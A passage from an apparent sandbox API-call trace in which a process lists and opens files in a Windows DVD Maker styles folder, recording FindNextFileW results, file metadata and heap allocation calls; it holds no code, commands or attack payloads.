ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_specialocc_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0245.370] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb7fe80, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eb7fe80, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_travel_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0245.370] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb7fe80, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eb7fe80, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_widescreen_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0245.370] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa119af33, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa86cdff, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa12338ef, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ResizingPanels", cAlternateFileName="")) returned 1 [0245.370] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926b70 [0245.370] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa119af33, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa86cdff, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa12338ef, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0245.371] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c0 [0245.371] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0245.371] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x93b270 [0245.371] DeviceIoControl (in: hDevice=0x1c0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x93b270, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x93b270, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0245.371] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x93b270) returned 1 [0245.371] NtClose (Handle=0x1c0) returned 0x0 [0245.371] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926b70) returned 1 [0245.371] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926b70 [0245.371] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927038 [0245.372] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x9272e0 [0245.372] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd660 [0245.373] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa119af33, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa86cdff, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa12338ef, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.373] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7091adcb, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7091adcb, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0245.373] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.373] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.373] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.373] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.373] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.374] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x929c80 [0245.374] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927038) returned 1 [0245.374] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x9279c0 [0245.374] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x937648 [0245.374] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.374] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70a4b8b3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70a4b8b3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb04, dwReserved0=0x0, dwReserved1=0x0, cFileName="203x8subpicture.png", cAlternateFileName="")) returned 1 [0245.374] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.374] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.374] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.374] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.374] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.374] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x9279e0 [0245.374] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x937750 [0245.374] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.374] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7079e029, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7079e029, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5aaf, dwReserved0=0x0, dwReserved1=0x0, cFileName="bandwidth.png", cAlternateFileName="")) returned 1 [0245.374] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.374] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.374] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.374] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.374] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.374] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x927a00 [0245.374] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x937858 [0245.375] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.375] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70a25756, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70a25756, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x191f, dwReserved0=0x0, dwReserved1=0x0, cFileName="blackbars80.png", cAlternateFileName="")) returned 1 [0245.375] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.375] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.375] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.375] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.375] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.375] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x927a20 [0245.375] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x937960 [0245.375] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.375] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x708ceb11, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x708ceb11, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0245.375] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.375] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.375] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.375] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.375] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.375] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x927a40 [0245.375] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x937a68 [0245.375] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.375] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70810440, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70810440, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0245.375] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.375] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.375] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.375] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.375] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.376] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x927a60 [0245.376] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x937b70 [0245.376] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.376] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7083659d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7083659d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0245.376] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.376] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.376] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.376] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.376] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.376] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x927a80 [0245.376] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x937c78 [0245.376] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.376] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x707c4186, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x707c4186, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0245.376] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.376] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.376] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.376] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.376] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.376] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x927aa0 [0245.376] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x937d80 [0245.376] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xe00) returned 0x9349d8 [0245.376] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x93a4a8) returned 1 [0245.377] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.377] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7079e029, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7079e029, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0245.377] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.377] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.377] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.377] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.377] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.377] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x927ac0 [0245.377] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x937e88 [0245.377] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.377] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x707ea2e3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x707ea2e3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efc9a7d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0245.377] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.377] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.377] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.377] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.377] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.377] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x927ae0 [0245.377] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x937f90 [0245.377] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.377] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70940f28, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70940f28, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efc9a7d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x84ca6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Panel_Mask.wmv", cAlternateFileName="")) returned 1 [0245.377] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.377] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.377] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.377] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.377] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.378] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x927b00 [0245.378] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x938098 [0245.378] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.378] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x709b333f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x709b333f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f0d440f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x84702, dwReserved0=0x0, dwReserved1=0x0, cFileName="Panel_Mask_PAL.wmv", cAlternateFileName="")) returned 1 [0245.378] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.378] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.378] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.378] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.378] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.378] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x927b20 [0245.378] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9381a0 [0245.378] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.378] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x709b333f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x709b333f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f0d440f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x84702, dwReserved0=0x0, dwReserved1=0x0, cFileName="Panel_Mask_PAL.wmv", cAlternateFileName="")) returned 0 [0245.378] GetLastError () returned 0x12 [0245.378] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd4e0 [0245.378] FindClose (in: hFindFile=0x4fd660 | out: hFindFile=0x4fd660) returned 1 [0245.378] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa119af33, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa86cdff, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa12338ef, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.378] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7091adcb, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7091adcb, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0245.378] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70a4b8b3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70a4b8b3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb04, dwReserved0=0x0, dwReserved1=0x0, cFileName="203x8subpicture.png", cAlternateFileName="")) returned 1 [0245.378] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7079e029, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7079e029, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5aaf, dwReserved0=0x0, dwReserved1=0x0, cFileName="bandwidth.png", cAlternateFileName="")) returned 1 [0245.379] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70a25756, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70a25756, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x191f, dwReserved0=0x0, dwReserved1=0x0, cFileName="blackbars80.png", cAlternateFileName="")) returned 1 [0245.379] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x708ceb11, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x708ceb11, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0245.379] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70810440, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70810440, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, 